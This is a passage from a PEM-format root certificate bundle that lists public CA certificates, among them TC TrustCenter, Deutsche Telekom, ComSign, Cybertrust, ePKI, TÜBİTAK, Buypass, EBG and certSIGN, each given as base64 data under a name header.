xgdW94zPEfRMuzBwBJWl9jmM/XOBCH2JXjIeIqkiRUuwZi4wzJ9l/fzLganx4Duvo4bRierERXlQ Xa7pIXSSTYtZgo+U4+lK8edJsBTj9WLL1XK9H7nSn6DNqPoByNkN39r8R52zyFTfSUrxIan+GE7u SNQZu+995OKdy1u2bv/jzVrndIIFuoAlOMvkaZ6vQaoahPUCAwEAAaOCATQwggEwMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTjq1RMgKHbVkO3kUrL84J6E1wIqzCB 7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90 Y19jbGFzc18yX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU cnVzdENlbnRlciUyMENsYXNzJTIwMiUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEAjNfffu4bgBCzg/XbEeprS6iSGNn3Bzn1LL4G dXpoUxUc6krtXvwjshOg0wn/9vYua0Fxec3ibf2uWWuFHbhOIprtZjluS5TmVfwLG4t3wVMTZonZ KNaL80VKY7f9ewthXbhtvsPcW3nS7Yblok2+XnR8au0WOB9/WIFaGusyiC2y8zl3gK9etmF1Kdsj TYjKUCjLhdLTEKJZbtOTVAB6okaVhgWcqRmY5TFyDADiZ9lA4CQze28suVyrZZ0srHbqNZn1l7kP JOzHdiEoZa5X6AeIdUpWoNIFOqTmjZKILPPy4cHGYdtBxceb9w4aUUXCYWvcZCcXjFq32nQozZfk vQ== -----END CERTIFICATE----- TC TrustCenter Universal CA I ============================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIOHaIAAQAC7LdggHiNtgYwDQYJKoZIhvcNAQEFBQAweTELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNVBAsTG1RDIFRydXN0Q2VudGVy IFVuaXZlcnNhbCBDQTEmMCQGA1UEAxMdVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkwHhcN MDYwMzIyMTU1NDI4WhcNMjUxMjMxMjI1OTU5WjB5MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMg VHJ1c3RDZW50ZXIgR21iSDEkMCIGA1UECxMbVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBMSYw JAYDVQQDEx1UQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0EgSTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKR3I5ZEr5D0MacQ9CaHnPM42Q9e3s9B6DGtxnSRJJZ4Hgmgm5qVSkr1YnwC qMqs+1oEdjneX/H5s7/zA1hV0qq34wQi0fiU2iIIAI3TfCZdzHd55yx4Oagmcw6iXSVphU9VDprv xrlE4Vc93x9UIuVvZaozhDrzznq+VZeujRIPFDPiUHDDSYcTvFHe15gSWu86gzOSBnWLknwSaHtw ag+1m7Z3W0hZneTvWq3zwZ7U10VOylY0Ibw+F1tvdwxIAUMpsN0/lm7mlaoMwCC2/T42J5zjXM9O gdwZu5GQfezmlwQek8wiSdeXhrYTCjxDI3d+8NzmzSQfO4ObNDqDNOMCAwEAAaNjMGEwHwYDVR0j BBgwFoAUkqR1LKSevoFE63n8isWVpesQdXMwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AYYwHQYDVR0OBBYEFJKkdSyknr6BROt5/IrFlaXrEHVzMA0GCSqGSIb3DQEBBQUAA4IBAQAo0uCG 1eb4e/CX3CJrO5UUVg8RMKWaTzqwOuAGy2X17caXJ/4l8lfmXpWMPmRgFVp/Lw0BxbFg/UU1z/Cy vwbZ71q+s2IhtNerNXxTPqYn8aEt2hojnczd7Dwtnic0XQ/CNnm8yUpiLe1r2X1BQ3y2qsrtYbE3 ghUJGooWMNjsydZHcnhLEEYUjl8Or+zHL6sQ17bxbuyGssLoDZJz3KL0Dzq/YSMQiZxIQG5wALPT ujdEWBF6AmqI8Dc08BnprNRlc/ZpjGSUOnmFKbAWKwyCPwacx/0QK54PLLae4xW/2TYcuiUaUj0a 7CIMHOCkoj3w6DnPgcB77V0fb8XQC9eY -----END CERTIFICATE----- Deutsche Telekom Root CA 2 ========================== -----BEGIN CERTIFICATE----- MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMT RGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEG A1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENBIDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5 MjM1OTAwWjBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0G A1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBS b290IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEUha88EOQ5 bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhCQN/Po7qCWWqSG6wcmtoI KyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1MjwrrFDa1sPeg5TKqAyZMg4ISFZbavva4VhY AUlfckE8FQYBjl2tqriTtM2e66foai1SNNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aK Se5TBY8ZTNXeWHmb0mocQqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTV jlsB9WoHtxa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAPBgNV HRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAlGRZrTlk5ynr E/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756AbrsptJh6sTtU6zkXR34ajgv8HzFZMQSy zhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpaIzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8 rZ7/gFnkm0W09juwzTkZmDLl6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4G dyd1Lx+4ivn+xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU Cm26OWMohpLzGITY+9HPBVZkVw== -----END CERTIFICATE----- ComSign Secured CA ================== -----BEGIN CERTIFICATE----- MIIDqzCCApOgAwIBAgIRAMcoRwmzuGxFjB36JPU2TukwDQYJKoZIhvcNAQEFBQAwPDEbMBkGA1UE AxMSQ29tU2lnbiBTZWN1cmVkIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQGEwJJTDAeFw0w NDAzMjQxMTM3MjBaFw0yOTAzMTYxNTA0NTZaMDwxGzAZBgNVBAMTEkNvbVNpZ24gU2VjdXJlZCBD QTEQMA4GA1UEChMHQ29tU2lnbjELMAkGA1UEBhMCSUwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDGtWhfHZQVw6QIVS3joFd67+l0Kru5fFdJGhFeTymHDEjWaueP1H5XJLkGieQcPOqs 49ohgHMhCu95mGwfCP+hUH3ymBvJVG8+pSjsIQQPRbsHPaHA+iqYHU4Gk/v1iDurX8sWv+bznkqH 7Rnqwp9D5PGBpX8QTz7RSmKtUxvLg/8HZaWSLWapW7ha9B20IZFKF3ueMv5WJDmyVIRD9YTC2LxB kMyd1mja6YJQqTtoz7VdApRgFrFD2UNd3V2Hbuq7s8lr9gOUCXDeFhF6K+h2j0kQmHe5Y1yLM5d1 9guMsqtb3nQgJT/j8xH5h2iGNXHDHYwt6+UarA9z1YJZQIDTAgMBAAGjgacwgaQwDAYDVR0TBAUw AwEB/zBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vZmVkaXIuY29tc2lnbi5jby5pbC9jcmwvQ29t U2lnblNlY3VyZWRDQS5jcmwwDgYDVR0PAQH/BAQDAgGGMB8GA1UdIwQYMBaAFMFL7XC29z58ADsA j8c+DkWfHl3sMB0GA1UdDgQWBBTBS+1wtvc+fAA7AI/HPg5Fnx5d7DANBgkqhkiG9w0BAQUFAAOC AQEAFs/ukhNQq3sUnjO2QiBq1BW9Cav8cujvR3qQrFHBZE7piL1DRYHjZiM/EoZNGeQFsOY3wo3a BijJD4mkU6l1P7CW+6tMM1X5eCZGbxs2mPtCdsGCuY7e+0X5YxtiOzkGynd6qDwJz2w2PQ8KRUtp FhpFfTMDZflScZAmlaxMDPWLkz/MdXSFmLr/YnpNH4n+rr2UAJm/EaXc4HnFFgt9AmEd6oX5AhVP 51qJThRv4zdLhfXBPGHg/QVBspJ/wx2g0K5SZGBrGMYmnNj1ZOQ2GmKfig8+/21OGVZOIJFsnzQz OjRXUDpvgV4GxvU+fE6OK85lBi5d0ipTdF7Tbieejw== -----END CERTIFICATE----- Cybertrust Global Root ====================== -----BEGIN CERTIFICATE----- MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4 MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA +Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW 0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin 89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT 8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2 MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi 5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2 hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW WL1WMRJOEcgh4LMRkWXbtKaIOM5V -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- T\xc3\x9c\x42\xC4\xB0TAK UEKAE K\xC3\xB6k Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 - S\xC3\xBCr\xC3\xBCm 3 ============================================================================================================================= -----BEGIN CERTIFICATE----- MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRSMRgwFgYDVQQH DA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJpbGltc2VsIHZlIFRla25vbG9q aWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSwVEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ry b25payB2ZSBLcmlwdG9sb2ppIEFyYcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNV BAsMGkthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUg S8O2ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAeFw0wNzA4 MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIxGDAWBgNVBAcMD0dlYnpl IC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmlsaW1zZWwgdmUgVGVrbm9sb2ppayBBcmHF n3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBUQUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZl IEtyaXB0b2xvamkgQXJhxZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2Ft dSBTZXJ0aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7ZrIFNl cnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIBIjANBgkqhkiG9w0B AQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4hgb46ezzb8R1Sf1n68yJMlaCQvEhO Eav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yKO7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1 xnnRFDDtG1hba+818qEhTsXOfJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR 6Oqeyjh1jmKwlZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQIDAQABo0IwQDAd BgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF MAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmPNOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4 N5EY3ATIZJkrGG2AA1nJrvhY0D7twyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLT y9LQQfMmNkqblWwM7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYh LBOhgLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5noN+J1q2M dqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUsyZyQ2uypQjyttgI= -----END CERTIFICATE----- Buypass Class 2 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMiBDQSAxMB4XDTA2 MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7M cXA0ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLXl18xoS83 0r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVBHfCuuCkslFJgNJQ72uA4 0Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/R uFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLPgcIV 1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+DKhQ7SLHrQVMdvvt 7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKuBctN518fV4bVIJwo+28TOPX2EZL2 fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHsh7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5w wDX3OaJdZtB7WZ+oRxKaJyOkLY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho -----END CERTIFICATE----- Buypass Class 3 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBAjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMyBDQSAxMB4XDTA1 MDUwOTE0MTMwM1oXDTE1MDUwOTE0MTMwM1owSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDMgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAKSO13TZKWTeXx+HgJHqTjnmGcZEC4DVC69TB4sSveZn8AKx ifZgisRbsELRwCGoy+Gb72RRtqfPFfV0gGgEkKBYouZ0plNTVUhjP5JW3SROjvi6K//zNIqeKNc0 n6wv1g/xpC+9UrJJhW05NfBEMJNGJPO251P7vGGvqaMU+8IXF4Rs4HyI+MkcVyzwPX6UvCWThOia AJpFBUJXgPROztmuOfbIUxAMZTpHe2DC1vqRycZxbL2RhzyRhkmr8w+gbCZ2Xhysm3HljbybIR6c 1jh+JIAVMYKWsUnTYjdbiAwKYjT+p0h+mbEwi5A3lRyoH6UsjfRVyNvdWQrCrXig9IsCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUOBTmyPCppAP0Tj4io1vy1uCtQHQwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQABZ6OMySU9E2NdFm/soT4JXJEVKirZgCFPBdy7 pYmrEzMqnji3jG8CcmPHc3ceCQa6Oyh7pEfJYWsICCD8igWKH7y6xsL+z27sEzNxZy5p+qksP2bA EllNC1QCkoS72xLvg3BweMhT+t/Gxv/ciC8HwEmdMldg0/L2mSlf56oBzKwzqBwKu5HEA6BvtjT5 htOzdlSY9EqBs1OdTUDs5XcTRa9bqh/YL0yCe/4qxFi7T/ye/QNlGioOw6UgFpRreaaiErS7GqQj el/wroQk5PMr+4okoyeYZdowdXb8GZHo2+ubPzK/QJcHJrrM85SFSnonk8+QQtS4Wxam58tAA915 -----END CERTIFICATE----- EBG Elektronik Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 ========================================================================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 